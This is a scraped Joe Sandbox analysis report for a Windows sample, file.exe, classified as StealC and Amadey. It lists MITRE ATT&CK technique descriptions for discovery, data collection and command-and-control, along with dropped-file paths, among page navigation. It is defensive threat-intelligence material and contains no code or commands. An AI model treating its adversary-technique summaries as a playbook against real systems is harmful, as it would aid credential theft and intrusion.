Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAEBAFBGIDHCBFHIECFCBGHIE

C:\ProgramData\BFHDAEHDAKECGCAKFCFI

C:\ProgramData\FBFCFIEBKEGHIDGCAFBFBFHDBA

C:\ProgramData\FCFBFHIE

C:\ProgramData\FIJECAEH

C:\ProgramData\HCBGDGCAAKJEBFIDBAAA

C:\ProgramData\JKEBFBFIEHIDAAAAFHCF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre